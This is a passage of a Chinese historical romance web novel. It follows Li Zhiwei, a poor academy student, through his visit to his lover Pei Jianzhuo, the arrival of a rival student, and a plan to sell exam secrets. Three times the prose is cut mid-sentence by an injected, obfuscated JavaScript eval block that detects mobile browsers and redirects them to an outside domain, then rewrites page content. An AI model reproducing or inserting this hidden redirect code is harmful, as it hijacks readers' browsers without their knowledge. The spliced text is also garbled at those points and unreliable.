这是李知微第一次对他露出不耐烦,再一次,他越过他,又忽然想起什么似的停下来:“李景毅,按理说,你本来准备放过我了,是什么让你停下来继续搜查?”歪歪头,疑惑地:“因为裴见濯放在我床上的手帕?” 静默,只有一声粗重的呼吸。 “贱人。”李景毅盯着他,“贱人!当初我就不该放过你!” “那也晚了,现在你动我一下试试。”李知微半点不退,反而挑衅,“你就是在这里看到韦弘贞进我院子的?你怎么没跟他一起来?” 李景毅怒极反笑:“你也有像人的一天!我以为你只会做狗。”他拍拍李知微的肩膀,凑近他的耳朵,发现李知微下意识躲了躲。 还是一只认主的狗。 “他不过仗着有个好兄长罢了,你以为裴照元能保他到几时?告诉你吧,这几日政事堂晚会根本没有裴照元的影子,他被赶走了!”李知微越躲,他越要靠近:“你知道他怎么打裴见濯的吗?当年拷打叛王逆党时的铁鞭,上有倒刺,一鞭下去——” 皮肉翻开的细声,隔空落入李知微的耳中。 李知微眉目不动:“他心甘情愿。” 李景毅面色凝固。 小径幽深无人吗,李知微绕开他,第三次走向小屋,李景毅没再阻拦。李知微踩住柔软的泥土,大地吸引着他下陷。 秘药遇见热化成水,从背部滑落,知微一拭,发现上头粉红一片。 裴见濯说:“做皇帝是什么好差事,皇宫里,又是什么好去处不成。” 这就是裴见濯,拥有无数财富,才会弃皇位如敝屣,向往田园牧歌、渔樵耕读。过剩的一切,包括爱情,无处挥洒,从袖子里飞出两滴,成了李知微的甘霖。 李知微果然没再纠缠,自哂道:“我怎么敢有意天位?就是有些后悔。之前,薛延清要把仙茅给我,我不肯,执意要花钱买,现在想想,真该先骗到手的,真是赔了夫人又折兵。” 裴见濯刚要说什么,却被一声呼唤打断。 窗外,崔媪忧心忡忡:“二郎,相公回来了,说换过衣服就来看你,书抄的怎么样?实在不行,就说伤口疼,多少写两个字,叫相公宽心。” 裴见濯最不可能做的事情,就是让裴照元宽心。 他恍若未闻、无动于衷,揽着小几上盖着的珍珠流苏,一根根绞在一起,崔媪隔门,看他不动,终于想起了李知微:“李郎君还在呢——唉,李郎君!” 李知微收到了她的求救,强自欢笑,扯开话题道:“我替你抄几个字,啊?” 裴见濯松开低垂的一团乱珠,低低道:“好啊。” 崔媪不知何时离开,大概是去打探裴照元到了哪里。 李知微替见濯擦净后背,走到桌前。 裴见濯用的砚台是过年他送的,也不是送,屋顶年久动摇,他爬上去换了几块瓦,有一块摔下来,裂的纹路很好看,见濯问他还要不要,他说不要,见濯就拿走了。灰扑扑的旧瓦,被墨浸得油光锃亮。 李知微展开长卷,以瓦砚镇纸,挽袖提笔。 裴照元让弟弟抄《孝经》,也算良苦用心,一来此经最短,二来则是因为魏王薨逝后,天下服慈母丧,裴见濯犯禁,本应抄此。 孝经,本是孔子与曾子论道之说。 孔子说,先王有一至德要道,可让天下和睦,你知道那是什么吗? 是孝,世间一切美德的起源。 身体发肤,受之父母,不敢毁伤,孝之始也。 立身行道,扬名于后世,以显父母,孝之终也。 夫孝,始于事亲,中于事君,终于立身。 李知微并不多抄,至此终笔。 他学裴见濯的字很像,模仿是他的老本行,他最擅长的是楷书,这种字清晰易读,帮人抄书、抄经最佳。当然,篆书也很好,佛寺道观大多用篆书题额,坊间也流行起来,以为风雅,学好这个,润笔可不少。 但用笔还是浓了些。 他意识到这是在裴见濯家里,不需要省墨也不需要兑很多水,但多年来的习惯不改,昏黄灯光一照,满纸湿淋,像皴皱的肌肤。 他吹吹墨:“就抄这么几句,多了要露馅。”他把纸捏起来,走到裴见濯面前,给他检查:“怎么样?我还圈了几个错字。” 裴见濯说:“装过头了,我写错字才不改,让他看见,马上能猜出来是你。” 李知微一愣,随即失笑:“让他看不见不就行了?到时候,我去暗间回避一下。” “不用回避。” 李知微揶揄道:“怕我偷你的宝贝?” 那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349941|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪有什么宝贝,整间屋子加起来,怕也没有外面一盏铜灯昂贵,如此精巧机括还要在外头风吹日晒,怎么不叫人叹一声暴殄天物。 裴见濯补完全句:“裴照元知道你来。” 谁也不用怀疑裴照元对整个裴宅的掌控力。 也许是为了迎接兄长,裴见濯支肘欲起,李知微连忙把纸放到一边,上前给他借力搀扶,最后他也没坐起来,而是摁住李知微的双肩向下圧去。 “哎!” 李知微跌落榻上,成了一个人形垫子,见濯整个压在他身上,他小心翼翼地圈住他,闻见他背上淡淡的二乔芬芳。 李知微笑了一下:“可我只是来看你的。” 我对你的兄长不感兴趣,不管他多么权势滔天。 我只是你的爱人。 裴见濯捏住他的肩。 “二郎,没事了!”呼吸交融间,崔媪急匆匆跑到窗下,惊喜道,“相公说,看在你今日有客的份上,算啦!” 李知微没反应过来:“算啦?” “是呀,今日不用抄了!”崔媪原本就心疼裴见濯受着伤还要抄书,“李郎饿不饿,我叫人送些宵夜?哦,还有你今日就寝时的衣裳……” 今晚,他见不到裴照元。 裴照元不来了。 裴照元天天来,李知微来,他就不来了。 裴见濯见他许久不曾说话,代答道:“不用了。阿母,我来弄,你去睡吧。”裴见濯将崔媪劝走,却没有立刻动,手自知微的肩膀上沿,捏了捏他的后脖颈,“穿不穿我的衣服?” 李知微没有回话,很缓慢地眨一下眼睛。 裴见濯见他不答,戏谑道:“还是穿吧,我伤成这样了!” 李知微回过神来,笑嗔道:“什么话。” 裴见濯越过他双肩,仍然撑在小榻扶手上,艰难坐起,李知微受他的指使,搀着他,走到一个大橱柜前。 裴见濯抓住柜门,指挥知微翻找。 衣柜只有疏疏落落数套衣裳,仅供明日更换。 像这样的人家,穿过的衣裳都不用洗,直接扔弃,自然不可能在衣柜里塞满十天半个月的衣裳,多是前一天晚间熏好送来,外头灰尘大,夏天又出汗,经常多备上好几件。 李知微得到过几次馈赠,簇新、柔软,当然不来自裴见濯,认识裴见濯的时候,他已经挺体面,起码三餐饱足。 手在绫罗间拨动:“这一件?” “往下。” “往下?” 亵衣都挂着,再往下就是抽屉。 抽屉里面的衣服?李知微想那会是个什么把戏,手指下探,柔软的衣摆亲吻他手背,他忽然想到善思很小的时候他问李景毅的孩子还尿不尿床,李景毅说不知道,不过尿床怎么了,谁还不尿床,老虎尿床能尿出一整个王朝疆域,多厉害,多威风! 李知微问他,那老虎去年的尿布还在不在?如果在的话,别人又没要,能不能给他呢? ——啊? 李景毅望向李知微的手,刹住要说的话。 尿布这种东西,还要洗? 你洗? 李知微下意识蜷了一下手指,但又觉得没什么,他的身世注定他不会用到新的东西,他母亲在府中没有朋友,得到的东西不知道换过几手,善思只用二手的已经很好了,李知微负担不起尿布的费用,材质一旦粗劣,善思就会浑身通红。 “再往下一格。”裴见濯闲闲道。 李知微的手往下探,那是个格外宽的抽屉,他大概觉得这不是件轻薄的衣裳,大概是放头饰的,什么头饰?他想起那天的波斯纱丽,柔软的荔枝红。 早知道不和李景毅闹翻了,他没对他造成什么实质性的伤害,这一切似乎都可以忍受,如果不闹翻,今天的局面会好很多,李景毅是最有可能的中选者。 可忽然,他又想,我一直在用旧东西。 在就读昭文院以前,他不知道什么叫合身的衣服,穿到哪件算哪件,使者告诉他可以入院那天,补洞的泥浆落在他身上,他坐在梯子上沉思,想泥浆要是掉在皮肤上该多好,皮肤会自己洁净,衣服却不会。 抽屉内是一片锦绣。 抽屉里面是一个锦匣,李知微拿起来,觉得不沉,大概不是什么金属。 “打开来。”裴见濯说。 我的孩子、我孩子的孩子,生生世世、子子孙孙,都用不了新东西吗? 咔嚓一声,锁扣松动。里面没有衣物,也没有首饰,只有一根木须似的枯老植物—— 仙茅。 现在想想,真该先把仙茅骗到手的,真是赔了夫人又折兵。 在背后,裴见濯再次抚摸他的脖颈,捏住软肉,情人间的爱抚。 “你骗我吧,来得快一些。”他说。 且不用付出任何代价。 16. 绀珠第三1 李知微从裴宅回昭文院时,发现含光门外搭了一溜灵棚白幡,上头勾满了往生符咒。 檀香点点,将天地笼为焚炉。 烟尘熏人,李知微越近门越觉双眼酸涩。当值的羽林卫因与他相熟,悄悄提醒道:“明日慈云寺僧众要在此替太子诵经,你若有出入,记得避开此处,以免冒犯。” 正门丹凤门地位尊崇,非大节庆不开。含光门、望仙门等左右偏门就成了百官出入之所,含光门离昭文院最近,学生出入多由此门,这也算一种荣耀,代表学生可以与五品官员齐驱并驾。 李知微转眼一看,发现西边的望仙门也是如此打扮,而明日正是朝参。 皇帝要文武百僚一边上朝,一边为他的儿子悲恸。 小小的任性。 李知微谢过侍卫,回到寂寞一片的家中,井水被余晖煨得滚烫,他提上一桶,里外擦洗,又在佛前燃了一炷香。 细细的烟,比不过含光门外弥天雾瘴,水汽蒸腾间,他想起妻子身下的血河。 石灰粉一直压着她的伤口,她说她不想治了,今天医生上门,在屋外闻到血腥味以后,说要用红烙铁生烫她的皮肉来止血。 “我不要,知微,我不要。”她的话语含糊,孩子在一边哭,李知微拉住她的手,“你行行好……救救我吧。” 薛妙施从来不对他提任何要求,除了那天,她说她想供奉一尊佛。即使痛得发昏,她也很抱歉,知道自己提了个很无理的要求,从慈云寺请来的阿閦佛通体蓝矿下是一尊金身,几乎是他们夫妇支付不起的代价,可她就是想要,她想了很久,刚怀孕的时候去拜佛还愿时就入了迷。 薛妙施和他描述自己想要供奉的形容,阿閦佛袒露右肩,左手执袈裟,右手指地,来自东方妙喜世界。 你知道吗?知微,妙喜世界中有一位维摩诘居士,他生有两个孩子,男孩子叫善思,女孩子叫月上。 我们会有一个女孩子吗? 知微肃拜以后,躺回床上。 人家说由俭入奢易,裴宅的锦绣却并不让他神往,对于李知微来说,他恐惧奢华,舒适的生活会让他想起妻子失血发凉的双手,遍遍顶礼的金佛。老旧的床板才让他感觉舒服,善思不在,他换回芦被睡觉,阴阴的潮湿。 痛苦是在为自己赎罪,他确信。 晨起洗漱的时候他想起母亲对他的第一句戏语,她说他是贱骨头,贱骨头就是顽强的骨头,折不断的骨头,活得了、死不掉,好骨头。坏被子破枕头睡了一晚上,李知微神清气爽。 早上出门的时候他再次打开锦匣看了看,仙茅安安稳稳躺着,他来来回回看了几遍,才夹起几本书往外走,果然空中飘着数点梵音,皇帝为儿子掀起的风暴,像雨点一样密密匝匝弹人耳朵。 休息日后的下午要上射课,上午便练书,课程松散,多数人不以为意,迟来者甚多。最近却不一样,功考临近,大家都步履匆匆,李知微与数个面熟的学生擦肩而过,不少人跃跃欲试想找他上来买押题,又被同窗扯着袖子带走。 李知微不以为意,径自向前,身后却刮来一阵疾风。 他下意识觉得不对,一停脚步,果然后面的人就撞上来:“哎哟!” 李知微若不停下来,自然二人不会撞在一起,于是连忙转身将人扶起:“没事儿吧?” 看着面前的人,他忽然愣住了,昭文院一共百二十个学生,里头一百一十个和他做过同学,甚是面熟,而面前来人和他差不多的年纪,肤色微黑,目光炯炯,唇如涂朱,全然一张生脸:“在下姚时止,学正命我来黄字第一斋读书,敢问世兄,可是此处?” “正是。” “敢问世兄姓名?” “李知微。”李知微回答,又让出一侧,“请进。” 姚时止与他推让一番,两人一前一后进了书斋,有人听见他们的交谈,伸长脖子道:“怎么要功考了才进来?” 昭文院素来有规定的入院时间,与科举前后放榜定级,号称“小秋闱”,中途进来的十分罕见,上一个还是裴见濯。 裴见濯有公主嫂子,他是哪家出身? 姚时止十分活泼开朗:“我姓姚,吴兴人,家中行十,各位同窗若肯赏脸,便如家人兄弟一般,唤我一声十郎便好。” “吴兴?”有人追问,“姚公思廉是你什么人?” 姚时止并不避讳:“正是曾祖。” 众人看他目光顿时变换,李知微默默走到最后一桌,竖起耳朵。 姚思廉是昭文院第一任学正,儒风领袖,刚正不阿,退闲后方许儿孙仕进。吴兴在南方,远离国都,几代过后也就没落。 姚时止是他的长曾孙,奈何八字无亲,幼年时一根梁木砸去双亲性命,叔伯怕他克人,便叫老仆将他带大,幸而天不绝人望,在二十岁这年时来运转——实在太可怜,受欺凌克扣,连科举的路费也凑不出,逼得在吴兴街头卖字,被人晓得身世后一路告上京畿,昭文院学正郑安在御前一提,皇帝愀然改色,亲自过问,特批他入昭文院读书。 众人一听这才对上号,早听说皇帝召了名白衣上殿,却不想才入了黄字斋。 双眼一转:“这么说,十郎面圣了?” 少年学生,不知窥伺圣躬是多大的罪名,姚时止满目激动:“学正亲自引我上殿,圣人问了我功课进度,又给我看了宫中所藏的先祖遗著……” “诶,学正在宫里?许久没见着他了。” “圣人问了你哪一本经?” 挠挠头,姚时止遗憾道:“圣人勤政,还没与我说几句话,裴相便入内奏事来了……” 李知微划重点的手一顿,竖起耳朵。 他在裴宅住了一天半,与裴照元缘悭一面。 再一次,大家为裴照元在御前的荣耀赞叹神往。国朝设四相本为制衡,裴照元作为首相兼驸马,开国以来未有,本就权柄甚大惹人非议,私底下还进见无时,皇帝尸山血海杀出来的修罗本性,放任此等作为,可见亲昵:“天颜愉悦,说过一个月有个‘好日子’,叫大家都松快松快。” 含光门外破天一声丧钟。 “我就说怎么可能因为……”声音陡然低下来,李知微垂首,也能感觉他人视线烧在他面孔上,“如今六月上,过一个月,不是七夕还能是中元?” “又胡吣,快拿出书来,坏了孔老头这一科,你今年都别想去玄字!” “别咒我!哎,十郎,这是杜七的位置,他今日估计又睡迟了,晚些到。” 姚时止有些局促地站起来,左右张望。临近上课,学生们已来了七八,放眼望去都坐满了人,他一边尴尬站立,一边询问:“我平生头一次进京,难道永乐城分外重视七夕?在我们吴兴,只有女人家乐过这节。” 众人哄笑开,眼看他一路走,一路瞟,最后—— “李兄,你们七夕都做些什么?” 李知微一抬头,发现他站在自己面前:“我可以坐你旁边吗?” 李知微一笑,拒绝道:“不可以。” 他竟不依不饶:“我看这里没人?” 李知微声音清楚,将事情宣扬出去:“这是我同桌裴见濯的位置,便是你方才说的裴相胞弟。近几日他病了,我昨日去看他时,他说还要修养些时日,你若坐这里,等他回来还要挪动,平添麻烦。” 姚时止抱着一个大包:“我看同学们年纪都小,我个子高,得坐最后,要不然,我和这位裴家二郎调调位置?” 李知微自然不让,戏谑道:“他比你高多啦,坐前面,挡大家的眼睛。” 姚时止一时踌躇,旁人因见他在御前走过一遭,颇为可热,好心招呼道:十郎,你坐我这儿吧!我旁边空着。” 李知微抬眼一望,知道那是韦弘贞的座位。 裴见濯背靠大树,韦弘贞希望渺茫,昭文院就是这样,没有毕不了业的学生,只有来不了的。 忽然,李知微伸出手,摸摸裴见濯空荡的书桌,觉得自己很坏,又没有办法。 笑语还在继续,姚时止融入其中,仿佛天生就坐在那里。 “你没吃早饭?我有我有。” “你手上是不是沾墨啦,我有手帕,给你。” “书,你说带我曾祖父注的那本?这有什么不能拿给你看的,对,孔先生正是我曾祖的关门弟子。” “钱?”姚时止肃容,“大家都是同学,谈这些黄白阿堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349942|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多伤感情!圣人宽容,许我在此读书,我已感激不尽,怎么可以败坏学风?什么,下午有射课?射课是干什么的?” 谁嗤笑一声,姚时止大声道:“你们都往后看干什么?” 李知微置若罔闻。 热浪升腾,校场砂石烫脚,学生们挨挨挤挤在屋檐下躲太阳,教习见了也不指出,只让排起队伍轮流上阵,便是允许放散的意思,大家伙乐得清闲,将手掌作扇子散风:“太热了,照我说,六月上要功考,射课又不参与定级,就该缓缓!” 他这话一出,众人附和:“就是,中暑可不是说着玩的。” “我听说还有人中暑死的呢。” “哪里来的蠢货,热了不知道用冰块吗?是不是你奶妈讲来吓唬你的?” “我想想也是。” 七月流火,六月暑热最盛,闷闷热不见一丝风,李知微找了个僻静的地方发呆,忽而砂石碾过两声:“十六兄,我可一直等着你的扇子。” 李知微转身,果然是李重宪。 他比李知微小,面容儒雅,气韵谦和,仪态翩翩,即使射课换了束袖胡袍,也是通体素雅,簪饰皆是玉石,没有半点金银奢靡之象:“这天真热。” 李知微上课时只倒换两身院服,上射课,他就选了件有点脏旧的。李重宪站立身后,李知微倚阑而望,闲道:“他没有水给你吗?” “谁?”李重宪佯装不知。 李知微笑而不语,眼风微扫不远处正在团团转请教射课事宜的姚时止。 既然你千方百计找人来效仿我,抢我的生意,怎么忘了我暑天射课都要带水卖扇? 李重宪噗嗤笑开,意有所指:“啊呀,那真是百密一疏。” 李知微说:“嗯,不是要紧生意,疏就疏了。” 李重宪语调款款,这一点上,他比李景毅体面:“那什么生意要紧?” 李知微想了想:“难说,我看天吃饭。” 李重宪笑道:“十六兄这话说的,谁不是看天吃饭?天让你吃,就润泽百谷;不让你吃,就赤地千里。” 李知微知道,自己最后一条路也被堵死了。 姚时止会押准所有的功考题,不会再有人冒风险来惠顾他的生意。 李知微凭借多年对先生的了解,十押九中,尚有一失,李重宪却是出卷人。 出什么题,怎么出题,不过是他的一念之间。 李知微听见教习的呼唤:“李知微,上阵!” 他站起来,整理旧袍,施施然道:“五弟,为兄先去一步。” 李重宪望着他,太阳真白,分不清是光还是李知微的脸颊。 他在进入黄字斋的时候就听说过这个人的名字,那时候李知微的名声刚臭了一半,有人说他是个天才,大隐隐于黄字斋;也有人说他是个蠢货,当时考试的时候碰巧考了一本他会的书,时间久了就原形毕露。 李重宪在旁边观察了他很久,得出结论。 不聪明,不蠢,就是贱。 野草一样,踩扁了,还要从砖缝里长出来。他看着他做东西、卖东西,无所不用其极地赚钱,背着背篓在射课上卖水,大水桶,大勺,还有不知道哪里来的廉价杯子。李重宪莫名口渴,买了一杯,杯子交接的时候,他发现李知微的手凉丝丝,喉咙哑了,一点白沫悬在唇角。 相濡以沫这个词,他第一次深刻理解。 他说:“我要两杯。”李知微说好,舀出两杯来给他,李重宪说:“还有一杯是你的。” 李知微整个人都因为笑容鲜活明亮起来:“谢谢。” 然后李重宪就发现他把那杯水卖给了下一个人。 他再也没有光顾过李知微的小摊。只有李景毅这种傻子才会一而再、再而三地被李知微戏弄还甘之如饴,后来李景毅也受不了了。 不过可惜,傻子这种东西也是会补货的。 李景毅不是最蠢的那个,但也名列前茅,和李知微呆在一起这么久还不知道,对付这踩不烂的贱骨头没用,应该去对付他的儿子。 把草踩扁的唯一办法,就是连根拔起。 “十六兄慢走。”他在他背后,被阳光刺得眯眯眼,仍温声道。 17. 绀珠第三2 李知微方走出檐廊,便见人匆匆赶来,在教习身边说了两句话。 他刻意慢了一拍,箭未搭弦,教习便宣布解散,话音刚落便蹿出几个仆役,引导学生们往院外行去,唯恐他们放学不及时,冲撞了太子的梓宫。 李知微不用回家,留在原地,抬头一望,日正当中。 难得的晴天。 李知微来到藏书楼顶,这是全城唯一允许和皇宫摘星楼齐平的建筑。极目远眺,可以看见一片白幡如米在缸中滚炼,万籁俱寂,唯有礼乐肃穆庄严。 佛音唱罢,朱棺趁吉时正式移送出外,顺便带走了悬在永乐城上方的阴云,他将和他前五个兄长并三个夭折的姐姐一起,在帝陵永生永世陪伴君父。 宫门九重,谁的哀嚎如刀。 他想那是徐淑妃,一个永远离开自己儿子的母亲。 晚来风急,李知微转身离开,缩在偏僻处看书,看着看着,竟到了关门的时刻,梆子敲响,楼梯狭窄,他与正在洒扫的杂役相逢。 在这种地方久了,仆役也举止斯文、慢声细语:“李郎原来在这里,我还以为你走了。”藏书楼不许点灯,他们要趁着黄昏最后一缕光歇烬前清扫完毕:“马上要关门了。”他神色关怀:“我看你脸色不好,可是前几日下雨伤怀?” 李知微微笑道:“是今日看书看得发了梦,天黑冷下来才醒,这会儿打抖,脸色差些。” 仆役想了想:“难道这就是你上次和我说的庄生梦蝶吗?” 李知微为他的掌故冁然开颜,想书真是天底下最好最好的东西了:“是啊。” 远处的蓬莱宫渐次第亮起灯火,九万间屋舍层叠,仿佛巨型长龙,桑榆暮落,离蓬莱宫越远,灯火越稀,到了南城边上,几乎就没有任何光亮。 夕阳的最后一缕光辉从木梯拐角的小窗透入,镀过李知微的脸颊。 仆役滔滔不绝:“我喜欢庄生,他一会儿是一只鸟,一会儿是一只蝴蝶,又一会儿是鱼,活泼得很!” 李知微说:“他偶尔还是一只乌龟。” 仆役手里的扫帚停一停,张着嘴:“乌龟?” “嗯,楚王曾经派两个使者邀请庄生去做宰相,庄生不愿意,就打了个比方,说有一只乌龟,这乌龟死了三千年,龟甲放在宗庙占卜用。他就问使者,如果他们是那只乌龟,是愿意送了性命后留下龟甲让人敬重,还是宁愿在烂泥堆里打滚?” 李知微往下走,仆役往上扫,灰尘轻轻掸起来,像在跳舞。 他们离得越来越远,仆役想了想:“如果是我,我就选在烂泥堆里打滚,起码不用死嘛!” 李知微一笑:“是这样,所以,他最后就没有去做宰相。” 他轻盈地走下木梯,拐弯进入下一层,听见仆役问他:“李郎,要是你,你怎么选?” 隔着一层楼,他们看不见彼此面色。 在烂泥地里甩五百年的尾巴,也终有寿竟之时啊,为什么不在壮年时漂亮、精神、绚烂地死去? “我也是,好死不如赖活着嘛!”他说。 仆役哈哈大笑,将他引为知己。 昭文院身处宫城,为防有心之人,他们这些仆役都是子孙世代在此做工,非大赦或死亡不得脱籍。日复一日、年复一年,望着代代学生的雪白院服褪作金章紫绶,读多了书,心也就野了。 直到李知微留下的最后一丝香气都沉落,他才忽然想起来—— 忘记搜身了! 昭文院除了学校外还承担着修书造典的功能,古籍孤本历经四代宸传,攒集昭穆之珍,即使翰林院、学士院的官员也只能在此借阅,不许带出,更遑论学生,是以进出都要搜检,以防意外。 不过也没什么。 李知微住在这里,而且是个好人。除了他,没人愿意留步听一位仆役的鱼、鸟、蝴蝶和乌龟。 踏着尚有余热的鹅肠小径,李知微打开院门,却停住脚步。 陌生气息飘浮空中,他房门阶前坐着一个人。 天太黑,没有灯,听到他回来的动静,那个人露出一口白牙。 看起来不像有敌意。 因此李知微只是把袖中藏书往里掖了掖,止步肃声:“谁在那里?!” “李兄,你可回来了!”姚时止标志性的,带着一点吴音的大嗓门响起来,随之而来的还有他的飞扑,“我快渴死了!” 李知微任他扑在怀中,八风不动:“宵禁了,你还没回家?” “这儿就是我家啊。” “这儿?” 姚时止站起来,拍拍衣服,亲热地对他拜一拜:“我早失怙恃,也不是永乐人,在此无恒产,学正说我可以住在这儿,就在你对面,往后咱们就是邻居了,请多指教。” 月悬穹顶,李知微这才发现裴见濯——曾经属于——的房间打开散风,有了第二个人的痕迹。 空白僵化一瞬,他才举动脚步,缓和声色:“可惜我回来晚了,不然也好帮你整理。” “我还有一半没整出来,不过学正和我说这里入夜了不能点灯见火,我就只能囫囵收拾个床铺出来睡觉。啊呀,先别说这些了,知微,我真的好渴,你家里有没有水?” 月光隐隐勾出他一个轮廓,侧身站着在房门口,示意李知微开门。 锁放哪儿了? 他方才有没有偷偷进去过? 心念神转之间,李知微笑道:“那儿有桶。” “桶?”姚时止没反应过来。 李知微轻松自若:“我房间没水,渴了就去井里现打。” 姚时止道:“可那是生……” 他没说完,李知微对他一笑,提起衣摆走入房间,姚时止在井边踌躇许久,最后吱呀一声,窗户开了,李知微半倚台边,月光晒进去。 款款注视下,姚时止咬牙,用绳子缠住木桶往下取水,桶刚下沉些许,绳结就因为没系牢松开,姚时止一看不好,扑在井边,双手并用向下捞去,想要抓住提手—— 啪嗒! 姚时止向后跌去,木桶和水一起被他抱在怀中。 湿漉漉的,袍袖往下滴水。 月亮笑了一声,窗纱落幕,映出一段秀美曲颈,几缕碎发如蛛丝,渐渐地,蛛丝扯断,他看不见那个人的身影。 李知微坐在床上,环视自己的房间,很晚了也没有睡着。 这房子不好,冬天冷,夏天热,外头下大雨这里下小雨,外头烧烤这里蒸笼,可他的确从十五岁的时候就在这里了,第一次躺在这里的时候,他发誓一定要读很多的书,做很大的官,高床软枕、金尊玉贵,他要学习韩信,他要给漂母——孔明达那时候还没卸去学正职务,他觉得那是天底下最好的人——千金,同时,那些瞧不起他的人,他也要给他们好处,让他们永永远远活在他的阴影之下。 他发誓要离开这里,最后,也只有这里接纳了他。 现在不行了。 最后一丝空间也被榨干。 他不知道姚时止是谁,这人说的每句话也许都是假的,甚至他根本不是姚思廉的后代,这只是郑学正安排他进入昭文院的一个借口,喝水必须煮开的世家公子——他知不知道热水是一味良药? 李知微垂头,月亮一点点滑落,他没睡着,摸索出一支蜡烛看书,这是违禁物品,如果姚时止还在监视他,立刻可以举报,他会被赶出去,一了百了,他不想干了,太危险,身体悬空,脚步轻飘,在这之前他参加过最大的竞争就是抢鸡腿,粗俗、野蛮,用二两唾沫战胜一切,绝不是像现在这样。 令人恐惧,像水底的藻荇,悄么声缠绕。 可太阳爬上来,天亮了,他又是一位父亲。 善思还在等着他。迷迷糊糊的,他背完最后一页,筋疲力尽,又想到菜花蛇一样的裴见濯,在裴宅的那个夜晚,他俩一起睡,房间太冷,李知微打了个寒战,见濯撤掉冰盆,背上微微发汗,李知微拿了把扇子给他扇风,手腕晃荡。 在付出的时候,他觉得很幸福,甚至想唱歌。 木桶倒在地上,七歪八扭,水痕早就被晒干,李知微熟练地系好绳结,拽起满满一桶水,吱呀吱呀的井绳惊醒了呵欠连天的姚时止,他倚在门边,看李知微用木桶洗漱,他擦脸的方式很原始,没有任何保养工序,一块粗布,沾水,一抹,和擦桌子没什么区别。 皮肤和原来一样白,眉毛和原来一样黑,有变化的只有一对眼珠,清凌凌含笑。 他没喝水。 姚时止就知道自己是被作弄了,或者说被看穿了,但他不介意,扬声道:“知微,起这么早?” 一夜间称呼就从李兄成了知微,亲昵到吓人,李知微应道:“嗯,我去藏书楼。”他把木桶摆到井边,系好绳子,方便姚时止随时悬木桶下去取水:“你能帮我向先生请个假吗?这几天我都不去上课。” 姚时止挑眉:“马上要……我听他们说,马上要功考了,很要紧,你是要去藏书楼温习吗?” 李知微道:“我是去藏书楼看药方的。” “药方?” “你知道仙茅吗?”李知微反问。 “那是什么?” “是前些年天竺婆罗门所贡灵药,密藏宫禁之中。”李知微照猫画虎,“前几日,裴相赐下一株,我不知如何使用,就想去藏书楼找找有无记载。” 姚时止沉默下来,李知微勾唇:“所以,拜托你了,时止。” 他毫无留恋地离开,登上藏书楼,悄悄将昨天偷出的古籍放回,时逢学生鱼贯入院,雪白院服一浪叠着一浪,或睡眼惺忪,或野心勃勃,他在里面找了好久好久,也没有看到李景毅的影子。 人流稀落,李知微背道而行,像无尽雪地后遗落的一点黑沙。 打马、绕行,漫无目的地绕了半个时辰后,他才找准方向,来到一家破败店铺。 绿漆褪色,木牌摇摇欲坠,依稀能看出那是一家茶铺,只是台上的伙计在柜台前懒洋洋呵欠,单手拨算盘,珠子嗒嗒作响,看起来很能唬人,可若有心人驻足观看,瞬间便知晓他这是在胡乱拨弄,并不是真在算账。 李知微戴上幂篱,踢袍入内,沉声道:“有没有今年的新茶?我带几包走。” “有,你要几包?” “十包?” 算盘声一停,伙计忍不住抬头,依稀望见黑纱后雪白面孔:“十包?”他想了想,手一把将算盘捋到最底下:“没有这么多!我得——” “我的哥!我的亲哥!别走别走,有这么多,有的有的!”他还没拒绝完毕,这家铺子的正经老板,一个肚子比钱袋子鼓出一倍的奸诈商人吴亲仁掀帘跑出,张开双手作势拥抱。伙计瞠目结舌,疑心老板疯了,需知暗语来说,一包茶叶就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349943|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一百贯,十包茶叶那可就是一千贯! 什么东西值这么多钱? 而那黑纱客但笑不语,和老板勾肩搭背进了后院。 “给我带了什么好东西值这么多?是不是上次人家找你拓的书圣真迹?说起来,当今这么喜欢书圣,说要把书圣的墨宝都带到皇陵去,这可是真的?要么你去偷……哦不,换几本?”吴亲仁乐呵呵道。 李知微道:“我这次给的,不是书圣真迹。” 昭文院藏书楼浩如烟海,最好卖的还是夫子学士们对于五经的心得注解,毕竟这些注解除了他们的子弟学生外无人可学,若旁人学去,等这夫子做了科举的考官或出题人,平步青云就在当下。 但这些人太多,售价并不昂贵。吴亲仁有些意兴阑珊:“上次你给我的姚思廉的《周易》注,我卖了一百五十贯,给了你一百贯,已经是顶顶贵的价格了,就是仲尼在世,他也卖不了一千贯啊!” 黑纱微动,李知微答复他:“不是书。”吴亲仁还要再问,李知微直接答:“我知道今年的科举考官。” 老板睁大了眼:“谁?!” 李知微缄口不语,老板连忙恳求道:“哥,我的亲哥,快说吧,求求你了,方才那点犹豫是我有眼不识泰山啊!” 